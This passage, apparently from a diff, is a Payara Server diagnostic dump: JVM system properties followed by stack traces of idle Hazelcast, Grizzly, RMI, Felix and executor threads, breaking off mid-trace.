+java.vendor.url.bug: http://www.azul.com/support/ +catalina.home: /opt/payara/appserver/glassfish/domains/domain1 +user.dir: /opt/payara +os.arch: amd64 +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +osgi.shell.telnet.port: 6666 +catalina.base: /opt/payara/appserver/glassfish/domains/domain1 +java.util.logging.manager: fish.payara.logging.PayaraLogManager +com.sun.aas.agentRoot: /opt/payara/appserver/glassfish/nodes +glassfish.version: Payara Server 6.2023.12 #badassfish (build 9) +java.vm.info: mixed mode +java.vm.version: 11.0.21+9-LTS +com.sun.aas.domainsRoot: /opt/payara/appserver/glassfish/domains +java.class.version: 55.0 +org.glassfish.grizzly.nio.DefaultSelectorHandler.force-selector-spin-detection: true + +=========================================== + +ThreadStacks: +"hz.nervous_wescoff.IO.thread-out-1" #80 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.nervous_wescoff.generic-operation.thread-0" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f0813e5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"iiop-service-kernel(1) SelectorRunner" #106 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.21/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.21/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-3" #117 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"RMI TCP Connection(1)-192.168.215.4" #171 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.21/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.21/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.21/java.net.SocketInputStream.read(SocketInputStream.java:140) + at java.base@11.0.21/sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:484) + at java.base@11.0.21/sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:478) + at java.base@11.0.21/sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at java.base@11.0.21/sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1459) + at java.base@11.0.21/sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:1070) + at java.base@11.0.21/java.io.BufferedInputStream.fill(BufferedInputStream.java:252) + at java.base@11.0.21/java.io.BufferedInputStream.read(BufferedInputStream.java:271) + at java.base@11.0.21/java.io.FilterInputStream.read(FilterInputStream.java:83) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:544) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1870/0x0000000800f24c40.run(Unknown Source) + at java.base@11.0.21/java.security.AccessController.doPrivileged(Native Method) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.HealthMonitor" #68 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Thread.sleep(Native Method) + at java.base@11.0.21/java.lang.Thread.sleep(Thread.java:334) + at java.base@11.0.21/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread.run(HealthMonitor.java:163) + +"http-thread-pool::http-listener-1(2)" #90 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@572e3cf5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"admin-listener-expirer(1)" #104 daemon [TIMED_WAITING] on java.lang.Object@6f8e8b8 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.operation-parker" #67 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b30f43e + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.DelayQueue.poll(DelayQueue.java:265) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.doRun(OperationParkerImpl.java:228) + at com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.run(OperationParkerImpl.java:211) + at java.base@11.0.21/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.21/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-1(1)" #89 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@572e3cf5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"RMI TCP Connection(2)-192.168.215.4" #174 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.21/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.21/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.21/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.21/java.net.SocketInputStream.read(SocketInputStream.java:140) + at java.base@11.0.21/sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:484) + at java.base@11.0.21/sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:478) + at java.base@11.0.21/sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at java.base@11.0.21/sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1459) + at java.base@11.0.21/sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:1070) + at java.base@11.0.21/java.io.BufferedInputStream.fill(BufferedInputStream.java:252) + at java.base@11.0.21/java.io.BufferedInputStream.read(BufferedInputStream.java:271) + at java.base@11.0.21/java.io.FilterInputStream.read(FilterInputStream.java:83) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:544) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1870/0x0000000800f24c40.run(Unknown Source) + at java.base@11.0.21/java.security.AccessController.doPrivileged(Native Method) + at java.rmi@11.0.21/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-2" #116 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixStartLevel" #22 daemon [WAITING] on java.util.ArrayList@41a1cc7a + java.lang.Thread.State: WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.Object.wait(Object.java:328) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:274) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #6" #157 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73589903 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-1" #115 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"http-listener-2-expirer(1)" #101 daemon [TIMED_WAITING] on java.lang.Object@313e9769 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-11" #141 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.partition-operation.thread-3" #47 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FelixResolver-9" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-6" #120 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5831a15f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.21/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"Job Cleanup Service" #143 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1b378cbf + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"GlassFish Kernel Main Thread" #147 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@4443875b + java.lang.Thread.State: WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.Object.wait(Object.java:328) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:262) + +"http-thread-pool::http-listener-2(4)" #99 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6d0d20a6 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.21/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixDispatchQueue" #15 daemon [WAITING] on java.util.ArrayList@242d8eb1 + java.lang.Thread.State: WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.Object.wait(Object.java:328) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-6" #23 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@782e94cd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.21/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4734aa39 + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@11.0.21/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.21/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-scheduled-task" #126 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6bad830b + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.21/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.21/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.21/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.partition-operation.thread-7" #51 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #138 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.21/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.base@11.0.21/java.lang.Thread.run(Thread.java:829) + +"hz.nervous_wescoff.partition-operation.thread-1" #45 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@204be4a5 + java.lang.Thread.State: WAITING + at java.base@11.0.21/java.lang.Object.wait(Native Method) + at java.base@11.0.21/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.21/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@11.0.21/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:170) + +"hz.nervous_wescoff.partition-operation.thread-5" #49 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.21/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.21/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at 